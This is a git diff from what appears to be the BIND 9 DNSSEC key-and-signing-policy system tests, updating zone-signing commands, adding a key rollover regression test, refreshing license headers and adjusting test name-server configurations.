 private_type_record $zone $DEFAULT_ALGORITHM_NUMBER "$CSK1" >> "$infile"
 private_type_record $zone $DEFAULT_ALGORITHM_NUMBER "$CSK2" >> "$infile"
-$SIGNER -S -z -x -s now-1h -e now+30d -o $zone -O full -f $zonefile $infile > signer.out.$zone.1 2>&1
+cp $infile $zonefile
+$SIGNER -S -z -x -G "cdnskey,cds:sha-384" -s now-1h -e now+30d -o $zone -O raw -f "${zonefile}.signed" $infile > signer.out.$zone.1 2>&1
 
 # Step 6:
 # After the retire interval has passed the predecessor DNSKEY can be
@@ -1061,7 +1097,8 @@ key_successor $CSK1 $CSK2
 cat template.db.in "${CSK1}.key" "${CSK2}.key" > "$infile"
 private_type_record $zone $DEFAULT_ALGORITHM_NUMBER "$CSK1" >> "$infile"
 private_type_record $zone $DEFAULT_ALGORITHM_NUMBER "$CSK2" >> "$infile"
-$SIGNER -S -z -x -s now-1h -e now+30d -o $zone -O full -f $zonefile $infile > signer.out.$zone.1 2>&1
+cp $infile $zonefile
+$SIGNER -S -z -x -G "cdnskey,cds:sha-384" -s now-1h -e now+30d -o $zone -O raw -f "${zonefile}.signed" $infile > signer.out.$zone.1 2>&1
 
 # Step 7:
 # Some time later the predecessor DNSKEY enters the HIDDEN state.
@@ -1095,7 +1132,8 @@ key_successor $CSK1 $CSK2
 cat template.db.in "${CSK1}.key" "${CSK2}.key" > "$infile"
 private_type_record $zone $DEFAULT_ALGORITHM_NUMBER "$CSK1" >> "$infile"
 private_type_record $zone $DEFAULT_ALGORITHM_NUMBER "$CSK2" >> "$infile"
-$SIGNER -S -z -x -s now-1h -e now+30d -o $zone -O full -f $zonefile $infile > signer.out.$zone.1 2>&1
+cp $infile $zonefile
+$SIGNER -S -z -x -G "cdnskey,cds:sha-384" -s now-1h -e now+30d -o $zone -O raw -f "${zonefile}.signed" $infile > signer.out.$zone.1 2>&1
 
 # Step 8:
 # The predecessor DNSKEY can be purged.
@@ -1129,7 +1167,8 @@ key_successor $CSK1 $CSK2
 cat template.db.in "${CSK1}.key" "${CSK2}.key" > "$infile"
 private_type_record $zone $DEFAULT_ALGORITHM_NUMBER "$CSK1" >> "$infile"
 private_type_record $zone $DEFAULT_ALGORITHM_NUMBER "$CSK2" >> "$infile"
-$SIGNER -S -z -x -s now-1h -e now+30d -o $zone -O full -f $zonefile $infile > signer.out.$zone.1 2>&1
+cp $infile $zonefile
+$SIGNER -S -z -x -G "cdnskey,cds:sha-384" -s now-1h -e now+30d -o $zone -O raw -f "${zonefile}.signed" $infile > signer.out.$zone.1 2>&1
 
 #
 # The zones at csk-roll2.autosign represent the various steps of a CSK rollover
@@ -1147,7 +1186,8 @@ CSK=$($KEYGEN -k csk-roll2 -l policies/autosign.conf $csktimes $zone 2> keygen.o
 $SETTIME -s -g $O -k $O $TactN -r $O $TactN -d $O $TactN -z $O $TactN "$CSK" > settime.out.$zone.1 2>&1
 cat template.db.in "${CSK}.key" > "$infile"
 private_type_record $zone $DEFAULT_ALGORITHM_NUMBER "$CSK" >> "$infile"
-$SIGNER -S -z -x -s now-1h -e now+30d -o $zone -O full -f $zonefile $infile > signer.out.$zone.1 2>&1
+cp $infile $zonefile
+$SIGNER -S -z -x -G "cdnskey,cds:sha-256,cds:sha-384" -s now-1h -e now+30d -o $zone -O raw -f "${zonefile}.signed" $infile > signer.out.$zone.1 2>&1
 
 # Step 2:
 # It is time to introduce the new CSK.
@@ -1174,7 +1214,8 @@ CSK=$($KEYGEN -k csk-roll2 -l policies/autosign.conf $csktimes $zone 2> keygen.o
 $SETTIME -s -g $O -k $O $TactN -r $O $TactN -d $O $TactN -z $O $TactN "$CSK" > settime.out.$zone.1 2>&1
 cat template.db.in "${CSK}.key" > "$infile"
 private_type_record $zone $DEFAULT_ALGORITHM_NUMBER "$CSK" >> "$infile"
-$SIGNER -S -z -x -s now-1h -e now+30d -o $zone -O full -f $zonefile $infile > signer.out.$zone.1 2>&1
+cp $infile $zonefile
+$SIGNER -S -z -x -G "cdnskey,cds:sha-256,cds:sha-384" -s now-1h -e now+30d -o $zone -O raw -f "${zonefile}.signed" $infile > signer.out.$zone.1 2>&1
 
 # Step 3:
 # It is time to submit the DS and to roll signatures.
@@ -1228,7 +1269,8 @@ key_successor $CSK1 $CSK2
 cat template.db.in "${CSK1}.key" "${CSK2}.key" > "$infile"
 private_type_record $zone $DEFAULT_ALGORITHM_NUMBER "$CSK1" >> "$infile"
 private_type_record $zone $DEFAULT_ALGORITHM_NUMBER "$CSK2" >> "$infile"
-$SIGNER -S -z -x -s now-1h -e now+30d -o $zone -O full -f $zonefile $infile > signer.out.$zone.1 2>&1
+cp $infile $zonefile
+$SIGNER -S -z -x -G "cdnskey,cds:sha-256,cds:sha-384" -s now-1h -e now+30d -o $zone -O raw -f "${zonefile}.signed" $infile > signer.out.$zone.1 2>&1
 
 # Step 4:
 # Some time later all the ZRRSIG records should be from the new CSK, and the
@@ -1275,7 +1317,8 @@ key_successor $CSK1 $CSK2
 cat template.db.in "${CSK1}.key" "${CSK2}.key" > "$infile"
 private_type_record $zone $DEFAULT_ALGORITHM_NUMBER "$CSK1" >> "$infile"
 private_type_record $zone $DEFAULT_ALGORITHM_NUMBER "$CSK2" >> "$infile"
-$SIGNER -S -z -x -s now-1h -e now+30d -o $zone -O full -f $zonefile $infile > signer.out.$zone.1 2>&1
+cp $infile $zonefile
+$SIGNER -S -z -x -G "cdnskey,cds:sha-256,cds:sha-384" -s now-1h -e now+30d -o $zone -O raw -f "${zonefile}.signed" $infile > signer.out.$zone.1 2>&1
 
 # Step 5:
 # Some time later the DS can be swapped and the old DNSKEY can be removed from
@@ -1311,7 +1354,8 @@ key_successor $CSK1 $CSK2
 cat template.db.in "${CSK1}.key" "${CSK2}.key" > "$infile"
 private_type_record $zone $DEFAULT_ALGORITHM_NUMBER "$CSK1" >> "$infile"
 private_type_record $zone $DEFAULT_ALGORITHM_NUMBER "$CSK2" >> "$infile"
-$SIGNER -S -z -x -s now-1h -e now+30d -o $zone -O full -f $zonefile $infile > signer.out.$zone.1 2>&1
+cp $infile $zonefile
+$SIGNER -S -z -x -G "cdnskey,cds:sha-256,cds:sha-384" -s now-1h -e now+30d -o $zone -O raw -f "${zonefile}.signed" $infile > signer.out.$zone.1 2>&1
 
 # Step 6:
 # Some time later the predecessor DNSKEY enters the HIDDEN state.
@@ -1346,7 +1390,8 @@ key_successor $CSK1 $CSK2
 cat template.db.in "${CSK1}.key" "${CSK2}.key" > "$infile"
 private_type_record $zone $DEFAULT_ALGORITHM_NUMBER "$CSK1" >> "$infile"
 private_type_record $zone $DEFAULT_ALGORITHM_NUMBER "$CSK2" >> "$infile"
-$SIGNER -S -z -x -s now-1h -e now+30d -o $zone -O full -f $zonefile $infile > signer.out.$zone.1 2>&1
+cp $infile $zonefile
+$SIGNER -S -z -x -G "cdnskey,cds:sha-256,cds:sha-384" -s now-1h -e now+30d -o $zone -O raw -f "${zonefile}.signed" $infile > signer.out.$zone.1 2>&1
 
 # Step 7:
 # The predecessor DNSKEY can be purged, but purge-keys is disabled.
@@ -1380,4 +1425,46 @@ key_successor $CSK1 $CSK2
 cat template.db.in "${CSK1}.key" "${CSK2}.key" > "$infile"
 private_type_record $zone $DEFAULT_ALGORITHM_NUMBER "$CSK1" >> "$infile"
 private_type_record $zone $DEFAULT_ALGORITHM_NUMBER "$CSK2" >> "$infile"
-$SIGNER -S -z -x -s now-1h -e now+30d -o $zone -O full -f $zonefile $infile > signer.out.$zone.1 2>&1
+cp $infile $zonefile
+$SIGNER -S -z -x -G "cdnskey,cds:sha-256,cds:sha-384" -s now-1h -e now+30d -o $zone -O raw -f "${zonefile}.signed" $infile > signer.out.$zone.1 2>&1
+
+# Test #2375, the "three is a crowd" bug, where a new key is introduced but the
+# previous rollover has not finished yet. In other words, we have a key KEY2
+# that is the successor of key KEY1, and we introduce a new key KEY3 that is
+# the successor of key KEY2:
+#
+#     KEY1 < KEY2 < KEY3.
+#
+# The expected behavior is that all three keys remain in the zone, and not
+# the bug behavior where KEY2 is removed and immediately replaced with KEY3.
+#
+# Set up a zone that has a KSK (KEY1) and have the successor key (KEY2)
+# published as well.
+setup three-is-a-crowd.kasp
+# These times are the same as step3.ksk-doubleksk.autosign.
+TactN="now-60d"
+TretN="now"
+TremN="now+50h"
+TpubN1="now-27h"
+TsbmN1="now"
+TactN1="${TretN}"
+TretN1="now+60d"
+TremN1="now+1490h"
+ksktimes="-P ${TactN}  -A ${TactN}  -P sync ${TactN}  -I ${TretN}  -D ${TremN}"
+newtimes="-P ${TpubN1} -A ${TactN1} -P sync ${TsbmN1} -I ${TretN1} -D ${TremN1}"
+zsktimes="-P ${TactN}  -A ${TactN}"
+KSK1=$($KEYGEN -a $DEFAULT_ALGORITHM -L 7200 -f KSK $ksktimes $zone 2> keygen.out.$zone.1)
+KSK2=$($KEYGEN -a $DEFAULT_ALGORITHM -L 7200 -f KSK $newtimes $zone 2> keygen.out.$zone.2)
+ZSK=$($KEYGEN  -a $DEFAULT_ALGORITHM -L 7200        $zsktimes $zone 2> keygen.out.$zone.3)
+$SETTIME -s -g $H -k $O $TactN   -r $O $TactN  -d $O $TactN  "$KSK1" > settime.out.$zone.1 2>&1
+$SETTIME -s -g $O -k $R $TpubN1  -r $R $TpubN1 -d $H $TpubN1 "$KSK2" > settime.out.$zone.2 2>&1
+$SETTIME -s -g $O -k $O $TactN   -z $O $TactN                "$ZSK"  > settime.out.$zone.3 2>&1
+# Set key rollover relationship.
+key_successor $KSK1 $KSK2
+# Sign zone.
+cat template.db.in "${KSK1}.key" "${KSK2}.key" "${ZSK}.key" > "$infile"
+private_type_record $zone $DEFAULT_ALGORITHM_NUMBER "$KSK1" >> "$infile"
+private_type_record $zone $DEFAULT_ALGORITHM_NUMBER "$KSK2" >> "$infile"
+private_type_record $zone $DEFAULT_ALGORITHM_NUMBER "$ZSK" >> "$infile"
+cp $infile $zonefile
+$SIGNER -S -x -G "cds:sha-256" -s now-1h -e now+2w -o $zone -O raw -f "${zonefile}.signed" $infile > signer.out.$zone.1 2>&1
diff --git a/bin/tests/system/kasp/ns3/template.db.in b/bin/tests/system/kasp/ns3/template.db.in
index 051a312891..010b05b3cb 100644
--- a/bin/tests/system/kasp/ns3/template.db.in
+++ b/bin/tests/system/kasp/ns3/template.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/kasp/ns3/template2.db.in b/bin/tests/system/kasp/ns3/template2.db.in
index 3377d725a0..7b94acefea 100644
--- a/bin/tests/system/kasp/ns3/template2.db.in
+++ b/bin/tests/system/kasp/ns3/template2.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/kasp/ns4/example1.db.in b/bin/tests/system/kasp/ns4/example1.db.in
index ea4a911f07..c9e537fda2 100644
--- a/bin/tests/system/kasp/ns4/example1.db.in
+++ b/bin/tests/system/kasp/ns4/example1.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/kasp/ns4/example2.db.in b/bin/tests/system/kasp/ns4/example2.db.in
index 90004d3391..c1f16a2bef 100644
--- a/bin/tests/system/kasp/ns4/example2.db.in
+++ b/bin/tests/system/kasp/ns4/example2.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/kasp/ns4/named.conf.in b/bin/tests/system/kasp/ns4/named.conf.in
index 5743d71ac1..dd245ca919 100644
--- a/bin/tests/system/kasp/ns4/named.conf.in
+++ b/bin/tests/system/kasp/ns4/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -13,7 +15,7 @@
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
@@ -36,15 +38,20 @@ key "sha256" {
 };
 
 key "keyforview1" {
-	algorithm "hmac-sha1";
+	algorithm @DEFAULT_HMAC@;
 	secret "YPfMoAk6h+3iN8MDRQC004iSNHY=";
 };
 
 key "keyforview2" {
-	algorithm "hmac-sha1";
+	algorithm @DEFAULT_HMAC@;
 	secret "4xILSZQnuO1UKubXHkYUsvBRPu8=";
 };
 
+key "keyforview3" {
+	algorithm @DEFAULT_HMAC@;
+	secret "C1Azf+gGPMmxrUg/WQINP6eV9Y0=";
+};
+
 dnssec-policy "test" {
 	keys {
 		csk key-directory lifetime 0 algorithm 14;
@@ -59,6 +66,7 @@ options {
 	listen-on-v6 { none; };
 	recursion no;
 	dnssec-policy "test";
+	dnssec-validation no;
 };
 
 view "inherit" {
@@ -73,15 +81,15 @@ view "inherit" {
 	/* Override dnssec-policy */
 	zone "override.inherit.signed" {
 		type primary;
-		dnssec-policy "default";
 		file "override.inherit.signed.db";
+		dnssec-policy "default";
 	};
 
 	/* Unset dnssec-policy */
 	zone "none.inherit.signed" {
 		type primary;
-		dnssec-policy "none";
 		file "none.inherit.signed.db";
+		dnssec-policy "none";
 	};
 };
 
@@ -98,15 +106,15 @@ view "override" {
 	/* Override dnssec-policy */
 	zone "override.override.signed" {
 		type primary;
-		dnssec-policy "test";
 		file "override.override.signed.db";
+		dnssec-policy "test";
 	};
 
 	/* Unset dnssec-policy */
 	zone "none.override.signed" {
 		type primary;
-		dnssec-policy "none";
 		file "none.override.signed.db";
+		dnssec-policy "none";
 	};
 };
 
@@ -123,23 +131,26 @@ view "none" {
 	/* Override dnssec-policy */
 	zone "override.none.signed" {
 		type primary;
-		dnssec-policy "test";
 		file "override.none.signed.db";
+		dnssec-policy "test";
 	};
 
 	/* Unset dnssec-policy */
 	zone "none.none.signed" {
 		type primary;
-		dnssec-policy "none";
 		file "none.none.signed.db";
+		dnssec-policy "none";
 	};
 };
 
 view "example1" {
 	match-clients { key "keyforview1"; };
 
+	allow-update { any; };
+
 	zone "example.net" {
 		type primary;
+		inline-signing no;
 		file "example1.db";
 	};
 };
@@ -152,3 +163,10 @@ view "example2" {
 		file "example2.db";
 	};
 };
+
+view "example3" {
+	match-clients { key "keyforview3"; };
+	zone "example.net" {
+		in-view example2;
+	};
+};
diff --git a/bin/tests/system/kasp/ns4/setup.sh b/bin/tests/system/kasp/ns4/setup.sh
index 5424658c0a..61b049dfff 100644
--- a/bin/tests/system/kasp/ns4/setup.sh
+++ b/bin/tests/system/kasp/ns4/setup.sh
@@ -1,9 +1,11 @@
 #!/bin/sh -e
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/kasp/ns4/template.db.in b/bin/tests/system/kasp/ns4/template.db.in
index 59946e07ba..0f72e9c074 100644
--- a/bin/tests/system/kasp/ns4/template.db.in
+++ b/bin/tests/system/kasp/ns4/template.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/kasp/ns5/named.conf.in b/bin/tests/system/kasp/ns5/named.conf.in
index a2f2fd19ef..643e6494c6 100644
--- a/bin/tests/system/kasp/ns5/named.conf.in
+++ b/bin/tests/system/kasp/ns5/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -13,7 +15,7 @@
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
@@ -49,6 +51,7 @@ options {
 	listen-on-v6 { none; };
 	recursion no;
 	dnssec-policy "none";
+	dnssec-validation no;
 };
 
 view "inherit" {
@@ -63,15 +66,15 @@ view "inherit" {
 	/* Override dnssec-policy */
 	zone "override.inherit.unsigned" {
 		type primary;
-		dnssec-policy "default";
 		file "override.inherit.unsigned.db";
+		dnssec-policy "default";
 	};
 
 	/* Unset dnssec-policy */
 	zone "none.inherit.unsigned" {
 		type primary;
-		dnssec-policy "none";
 		file "none.inherit.unsigned.db";
+		dnssec-policy "none";
 	};
 };
 
@@ -88,15 +91,15 @@ view "override" {
 	/* Override dnssec-policy */
 	zone "override.override.unsigned" {
 		type primary;
-		dnssec-policy "test";
 		file "override.override.unsigned.db";
+		dnssec-policy "test";
 	};
 
 	/* Unset dnssec-policy */
 	zone "none.override.unsigned" {
 		type primary;
-		dnssec-policy "none";
 		file "none.override.unsigned.db";
+		dnssec-policy "none";
 	};
 };
 
@@ -113,14 +116,14 @@ view "none" {
 	/* Override dnssec-policy */
 	zone "override.none.unsigned" {
 		type primary;
-		dnssec-policy "test";
 		file "override.none.unsigned.db";
+		dnssec-policy "test";
 	};
 
 	/* Unset dnssec-policy */
 	zone "none.none.unsigned" {
 		type primary;
-		dnssec-policy "none";
 		file "none.none.unsigned.db";
+		dnssec-policy "none";
 	};
 };
diff --git a/bin/tests/system/kasp/ns5/setup.sh b/bin/tests/system/kasp/ns5/setup.sh
index 0399b92fb5..59c7a41299 100644
--- a/bin/tests/system/kasp/ns5/setup.sh
+++ b/bin/tests/system/kasp/ns5/setup.sh
@@ -1,9 +1,11 @@
 #!/bin/sh -e
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/kasp/ns5/template.db.in b/bin/tests/system/kasp/ns5/template.db.in
index 2f73182e72..6cb07a4676 100644
--- a/bin/tests/system/kasp/ns5/template.db.in
+++ b/bin/tests/system/kasp/ns5/template.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/kasp/ns6/example.db.in b/bin/tests/system/kasp/ns6/example.db.in
new file mode 100644
index 0000000000..d6b912c4b6
--- /dev/null
+++ b/bin/tests/system/kasp/ns6/example.db.in
@@ -0,0 +1,26 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 300
+@		IN	SOA  mname1. . (
+			1       ; serial
+			20      ; refresh (20 seconds)
+			20      ; retry (20 seconds)
+			1814400 ; expire (3 weeks)
+			3600    ; minimum (1 hour)
+			)
+
+			NS	ns6
+ns6			A	10.53.0.6
+
+a			A	10.0.0.1
+b			A	10.0.0.2
+c			A	10.0.0.3
diff --git a/bin/tests/system/kasp/ns6/example2.db.in b/bin/tests/system/kasp/ns6/example2.db.in
new file mode 100644
index 0000000000..46aed9b651
--- /dev/null
+++ b/bin/tests/system/kasp/ns6/example2.db.in
@@ -0,0 +1,26 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 300
+@		IN	SOA  mname1. . (
+			2       ; serial
+			20      ; refresh (20 seconds)
+			20      ; retry (20 seconds)
+			1814400 ; expire (3 weeks)
+			3600    ; minimum (1 hour)
+			)
+
+			NS	ns6
+ns6			A	10.53.0.6
+
+a			A	10.0.0.1
+b			A	10.0.0.2
+c			A	10.0.0.3
diff --git a/bin/tests/system/kasp/ns6/example3.db.in b/bin/tests/system/kasp/ns6/example3.db.in
new file mode 100644
index 0000000000..ccbd96a300
--- /dev/null
+++ b/bin/tests/system/kasp/ns6/example3.db.in
@@ -0,0 +1,26 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 400
+@		IN	SOA  mname1. . (
+			3       ; serial
+			20      ; refresh (20 seconds)
+			20      ; retry (20 seconds)
+			1814400 ; expire (3 weeks)
+			3600    ; minimum (1 hour)
+			)
+
+			NS	ns6
+ns6			A	10.53.0.6
+
+a			A	10.0.0.1
+b			A	10.0.0.2
+c			A	10.0.0.3
diff --git a/bin/tests/system/kasp/ns6/named.conf.in b/bin/tests/system/kasp/ns6/named.conf.in
index d1a15cf240..3a3536de97 100644
--- a/bin/tests/system/kasp/ns6/named.conf.in
+++ b/bin/tests/system/kasp/ns6/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -25,42 +27,60 @@ options {
 	allow-transfer { any; };
 	recursion no;
 	key-directory ".";
+	dnssec-validation no;
 };
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
 	inet 10.53.0.6 port @CONTROLPORT@ allow { any; } keys { rndc_key; };
 };
 
+/* This zone switch from dynamic to inline-signing. */
+zone "dynamic2inline.kasp" {
+	type primary;
+	file "dynamic2inline.kasp.db";
+	allow-update { any; };
+	dnssec-policy "default";
+};
+
 /* These zones are going insecure. */
 zone "step1.going-insecure.kasp" {
-	type master;
+	type primary;
 	file "step1.going-insecure.kasp.db";
 	dnssec-policy "unsigning";
 };
 
 zone "step1.going-insecure-dynamic.kasp" {
-	type master;
+	type primary;
 	file "step1.going-insecure-dynamic.kasp.db";
 	dnssec-policy "unsigning";
+	inline-signing no;
 	allow-update { any; };
 };
 
 zone "step1.going-straight-to-none.kasp" {
-	type master;
+	type primary;
 	file "step1.going-straight-to-none.kasp.db";
 	dnssec-policy "default";
 };
 
+zone "step1.going-straight-to-none-dynamic.kasp" {
+	type primary;
+	file "step1.going-straight-to-none-dynamic.kasp.db.signed";
+	inline-signing no;
+	dnssec-policy "default";
+	allow-update { any; };
+};
+
 /* These are alorithm rollover test zones. */
 zone "step1.algorithm-roll.kasp" {
 	type primary;
 	file "step1.algorithm-roll.kasp.db";
-	dnssec-policy "rsasha1";
+	dnssec-policy "rsasha256";
 };
 
 zone "step1.csk-algorithm-roll.kasp" {
@@ -68,3 +88,15 @@ zone "step1.csk-algorithm-roll.kasp" {
 	file "step1.csk-algorithm-roll.kasp.db";
 	dnssec-policy "csk-algoroll";
 };
+
+dnssec-policy "modified" {
+	keys {
+		csk lifetime unlimited algorithm rsasha256 2048;
+	};
+};
+
+zone example {
+	type primary;
+	file "example.db";
+	dnssec-policy modified;
+};
diff --git a/bin/tests/system/kasp/ns6/named2.conf.in b/bin/tests/system/kasp/ns6/named2.conf.in
index 38f0e92c96..9a1be143b6 100644
--- a/bin/tests/system/kasp/ns6/named2.conf.in
+++ b/bin/tests/system/kasp/ns6/named2.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -24,50 +26,69 @@ options {
 	listen-on-v6 { none; };
 	allow-transfer { any; };
 	recursion no;
+	dnssec-validation no;
 };
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
 	inet 10.53.0.6 port @CONTROLPORT@ allow { any; } keys { rndc_key; };
 };
 
+/* This zone switch from dynamic to inline-signing. */
+zone "dynamic2inline.kasp" {
+	type primary;
+	file "dynamic2inline.kasp.db";
+	allow-update { any; };
+	dnssec-policy "default";
+};
+
 /* Zones for testing going insecure. */
 zone "step1.going-insecure.kasp" {
-        type master;
+        type primary;
         file "step1.going-insecure.kasp.db";
         dnssec-policy "insecure";
 };
 
 zone "step2.going-insecure.kasp" {
-        type master;
+        type primary;
         file "step2.going-insecure.kasp.db";
         dnssec-policy "insecure";
 };
 
 zone "step1.going-insecure-dynamic.kasp" {
-        type master;
+        type primary;
         file "step1.going-insecure-dynamic.kasp.db";
+	inline-signing no;
         dnssec-policy "insecure";
 	allow-update { any; };
 };
 
 zone "step2.going-insecure-dynamic.kasp" {
-        type master;
+        type primary;
         file "step2.going-insecure-dynamic.kasp.db";
+	inline-signing no;
         dnssec-policy "insecure";
 	allow-update { any; };
 };
 
 zone "step1.going-straight-to-none.kasp" {
-        type master;
+        type primary;
         file "step1.going-straight-to-none.kasp.db";
         dnssec-policy "none";
 };
 
+zone "step1.going-straight-to-none-dynamic.kasp" {
+        type primary;
+        file "step1.going-straight-to-none-dynamic.kasp.db.signed";
+        inline-signing no;
+        dnssec-policy "none";
+        allow-update { any; };
+};
+
 /*
  * Zones for testing KSK/ZSK algorithm roll.
  */
